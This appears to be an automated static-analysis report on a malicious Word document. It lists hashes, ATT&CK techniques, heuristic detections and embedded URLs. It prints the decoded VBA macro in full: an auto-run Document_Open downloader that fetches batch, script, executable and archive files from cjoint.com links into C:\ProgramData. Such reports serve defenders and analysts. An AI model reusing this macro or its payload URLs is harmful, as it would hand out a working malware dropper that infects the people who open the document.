Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 169d765e19d13009…

MALICIOUS

Office (OLE)

39.5 KB Created: 2021-06-06 21:17:00 Authoring application: Microsoft Office Word First seen: 2021-06-17
MD5: 403a2d1ae46f962aca6473a6a9e7c688 SHA-1: fcedbf8299b96b8069ff120d522afadbab4c6c25 SHA-256: 169d765e19d13009137c4595d0d3a29beb8369850b5d1867aa395a3e1d130b1c
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The Document_Open VBA macro executes a series of GetCSV calls to download multiple files, including batch scripts, executables, and a ZIP archive, to C:\ProgramData. The use of CreateObject and URLDownloadToFile indicates the macro's intent to download and execute a second-stage payload. The presence of multiple downloaded files suggests a multi-stage infection chain.

Heuristics 7

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        With CreateObject("MSXML2.XMLHTTP")
        .Open "GET", lru, False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.cjoint.com/doc/21_05/KECqUGPmWF3_xmle.bat In document text (OLE body)
    • https://www.cjoint.com/doc/21_05/KECrgxzbO83_protect.cmd�In document text (OLE body)
    • https://www.cjoint.com/doc/21_05/KECqGZsc883_dControl.ouiIn document text (OLE body)
    • https://www.cjoint.com/doc/21_05/KECngU7yVW3_RunNHide.ouiIn document text (OLE body)
    • https://www.cjoint.com/doc/21_05/KEFujtii2zh_uz2.vbs�In document text (OLE body)
    • https://www.cjoint.com/doc/21_06/KFeqbojM3W3_update2.zip�In document text (OLE body)
    • https://www.cjoint.com/doIn macro / runtime command snippet
    • https://www.cjoint.com/doc/21_05/KECrgxzbO83_protect.cmdIn document text (OLE body)
    • https://www.cjoint.com/doc/21_05/KEFujtii2zh_uz2.vbsIn document text (OLE body)
    • https://www.cjoint.com/doc/21_06/KFeqbojM3W3_update2.zipIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1349 bytes
SHA-256: 6e63d5a40bf5a8e2e24221a975099e3a2adf8c9bebdc2e9517d1b4e1ba960526
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Option Explicit

Public Sub GetCSV(lru, htap)
    Dim response As String

    With CreateObject("MSXML2.XMLHTTP")
        .Open "GET", lru, False
        .Send
        response = .responseText
    End With

    If Trim$(response) = "" Then Exit Sub

    Open htap For Output As #1
    Print #1, response
    Close #1

End Sub


Private Sub Document_Open()
   
  GetCSV "https://www.cjoint.com/doc/21_05/KECrgxzbO83_protect.cmd", "C:\ProgramData\protect.cmd"
GetCSV "https://www.cjoint.com/doc/21_05/KECqUGPmWF3_xmle.bat", "C:\ProgramData\xmle.bat"
GetCSV "https://www.cjoint.com/doc/21_05/KECqUGPmWF3_xmle.bat", "C:\ProgramData\xmle2.bat"
GetCSV "https://www.cjoint.com/doc/21_05/KECqGZsc883_dControl.oui", "C:\ProgramData\dControl.exe"
GetCSV "https://www.cjoint.com/doc/21_05/KECngU7yVW3_RunNHide.oui", "C:\ProgramData\RunNHide.exe"

GetCSV "https://www.cjoint.com/doc/21_05/KEFujtii2zh_uz2.vbs", "C:\ProgramData\uz2.vbs"
GetCSV "https://www.cjoint.com/doc/21_06/KFeqbojM3W3_update2.zip", "C:\ProgramData\update2.zip"
End Sub

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